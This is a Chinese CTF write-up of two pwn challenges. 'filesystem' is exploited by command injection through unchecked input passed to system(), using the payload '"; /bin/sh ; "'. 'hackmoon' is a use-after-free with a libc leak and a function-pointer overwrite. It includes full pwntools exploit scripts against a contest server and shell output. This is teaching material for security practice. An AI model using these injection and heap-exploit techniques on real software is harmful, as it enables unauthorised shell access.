安恒杯2019年2月月赛pwn部分详细分析

阅读量    123427 | 评论 1   稿费 350

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

开学了,利用月赛练练手还是不错的<^_^>

第一题知识点: 二进制程序的命令执行漏洞

一. 程序逆向分析

1.查看开启了哪些保护:

➜  ~ checksec filesystem 
[*] '/root/filesystem'
 Arch:     amd64-64-little
 RELRO:    Partial RELRO
 Stack:    Canary found
 NX:       NX enabled
 PIE:      No PIE (0x400000)

可以发现只开起了canary和nx保护.

2.main函数分析

打开ida ,来到地址: 0x000000000400DB3, 这就是main函数地址, 按f5反编译查看源码:

1

其中init_()是被我重命名了的函数, 进行发现只是设置stdin,stdout和stderr为无缓冲模式,这样进行io操作不会在堆上分配缓冲区.

进行第二个while循环,首先puts一系列字符串, 重命名为menu.menu最后获取我们的输入:

2

然后比较输入和Create,Edit,Read,Checksec,Exit进行比较,从而执行对应的操作.

3.Create操作

允许最多创建0x10个所谓的file, 前0x30存放filename,后0x60存放filecontent(后面分析edit可知).

3

这些file存放在一个全局结构数组中, 首地址为

0x6020e0, 在ida跟进发现是个未初始化的全局变量.

4

4.Edit操作如下:

5

首先获取要编辑的file的id,这个id对应于全局结构体数组的下标,通过read函数从改结构体缓冲区的+0x30的位置开始read我们的输入,大小为0x60. 并将最后一个字符置x00.

5.Read操作就是根据输入的id输出file的filename和filecontent,比较简单

16

6.Checksec操作是本题的重头戏:

15

通过逆向得知,首先输入index,然后通过snprintf将filecontent格式化写入到局部缓冲区s中,没有任何检查就作为system的参数进行调用了. 我是通过绕过这里的字符串进行getshell的.

snprintf的功能是将第4个及以后的参数作为可变参数输入到第3个format字符串中,并将结果保存到第一个参数s中,最多0x80个字节(第二个参数). 最终的命令是:

echo “our_input” | md5sum our_input表示我们的输入, 在这里我们可以在linux终端下测试:

随便输入一些内容,比如abcd:

14

结果输出了abcd的md5值,

想到sql注入的双引号绕过:

13

发现还是不行

后来想到了;可以隔离多条命令,于是输入: “; /bin/sh ; “

12

果然执行了shell, 于是赶紧写出exp测试一下:

7.exp:

from pwn import *

#p = process('./filesystem')
p = remote('101.71.29.5', 10017)
print p.recvuntil('> ')
p.sendline('Create')
print p.recvuntil('Input Filename: ')
p.sendline('aaaaa')

print p.recvuntil('> ')
p.sendline('Edit')
print p.recvuntil('Input the Index:')
p.sendline('0')
print p.recvuntil('Input File Content: ')
p.sendline('"; /bin/sh ; "')

print p.recvuntil('> ')
p.sendline('Checksec')
print p.recvuntil('Input the Index:')
p.sendline('0')
p.interactive()

[*] Switching to interactive mode

id
/bin/sh: 1: id: not found
whoami
/bin/sh: 2: whoami: not found
ls
bin
dev
filesystem
flag.txt
lib
lib32
lib64
cat flag.txt
flag{7ee688b3ad2b8e2546d8bcdc62cdd03f}

 

二. hackmoon

第二题知识点: uaf, fastbin double free, unsorted_bin 泄露libc基址

1.安全检查

➜  ~ checksec hackmoon
[*] '/root/hackmoon'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

没有开始pie,很nice

2.main逆向分析

11

这道题的逻辑还是比较简单的, 首先对stdou和stdin设置无缓冲,防止他们对堆的干扰.

然后puts一系列字符串,即为menu. 然后读取输入的操作序号选择某个操作,再执行对应函数

3.add_moon逆向分析

10

发现可以对moonlist写入5次,也就是最多可以add5个moon.

遍历moonlist找到第一个不为0的成员,分配一个8字节内存给它,然后对这个内存的前4字节设置为一个函数指针, 后4字节设置为分配的新内存的地址,最后填入数据到这个地址中.

从这里可以看出, moonlist是一个全局结构体数组, 结构体定义大致如下:

struct moon{
    void * print_moon_content;
    char* moonContent;
    };

4.del_moon逆向分析:

9

还是先获取全局数组moonlist的index,然后先对moon的moonContent堆内存进行释放,然后释放moon自己, 但是并没有对这2个指针置NULL,这是导致漏洞的关键因素.

5.print_moon逆向分析

8

还是先获取全局数组moonlist的index, 判断moon指针是否为0,不为0则调用第一个成员(函数指针)对自己进行打印:

7

其实就是puts了moon的moonContent成员字符串.

6.漏洞分析

首先通过申请一个0x80的moon,然后删除,再申请,这样第二次的moonContent内容和第一次的重叠, 由于第一次的moonContent释放会被放入unsorted bin,再次申请后上面还有2个指向unsorted bin的指针数据残留, 于是通过print_moon进行泄露出unsorted bin地址,通过计算可以得到libc基址

申请2次0x20大小的moon, 再依次删除,这样fast bin 链入2个数据域大小为8字节的chunk和链入2个数据域0x20大小的chunk, 再申请一个0x8大小的moon,会从fast bin把那2个8字节的chunk给他, 于是就可以控制第一个0x20大小的moon结构体的内容了,通过将其存放print_moon函数指针的内存改为存放system的地址, 再改存放moonContent的内存为;shx00, 当执行print_moon的时候其实执行了system,而且参数时 system_addr;shx00, 这样的思路本来是识别不了;前面的system_addr命令,但是;隔开2条命令是可以执行sh的. 这样的思路没错, 可是题目没有给libc, 就算泄露了libc基址也不知道libc版本. 我在这里想了想, 又翻了下程序发现有个magic函数,我们直接执行这个函数不就可以获取flag了:

6

7.exp:

from pwn import *

#p = process('./hackmoon')
p = remote('101.71.29.5',10016)
elf = ELF('./hackmoon')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def add(size, content):
    print p.recvuntil('Your choice :')
    p.sendline('1')
    print p.recvuntil('moon size :')
    p.sendline(str(size))
    print p.recvuntil('Content :')
    p.send(content)


def delete(index, ):
    print p.recvuntil('Your choice :')
    p.sendline('2')
    print p.recvuntil('Index :')
    p.sendline(str(index))
    print p.recvuntil('Successn')
    return


def print_(index):
    print p.recvuntil('Your choice :')
    p.sendline('3')
    print p.recvuntil('Index :')
    p.sendline(str(index))
    return


add(0x80,'000000')
add(0x20,'1111111') #防止删除后与top chunk合并
delete(0)
add(0x80,'2222')
#泄露unsorted bin 地址
print_(2)
print p.recvuntil('2222')
unsorted_bin =  p.recv(4)
unsorted_bin = u32(unsorted_bin)
print 'unsorted_bin: ',hex(unsorted_bin)

libc_base = unsorted_bin -  0x1b27b0 #计算得到libc 基址
print 'libc_base: ', hex(libc_base)
system_addr = 0x08048994#libc_base+libc.sym['system']
get_flag = 0x8048986 #magic函数地址
add(0x20,'333')
delete(1)
delete(3)
add(0x8,p32(get_flag)+';shx00')#这里实际上修改了index为1的moon结构数据
#gdb.attach(p,'b *%s' % system_addr)
print_(1)
p.interactive()

[*] Switching to interactive mode
ls
bin
dev
flag.txt
hackmoon
lib
lib32
lib64
cat flag.txt
flag{1dc8f4dc0a39f4d4935a0cf1e0d10811}
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多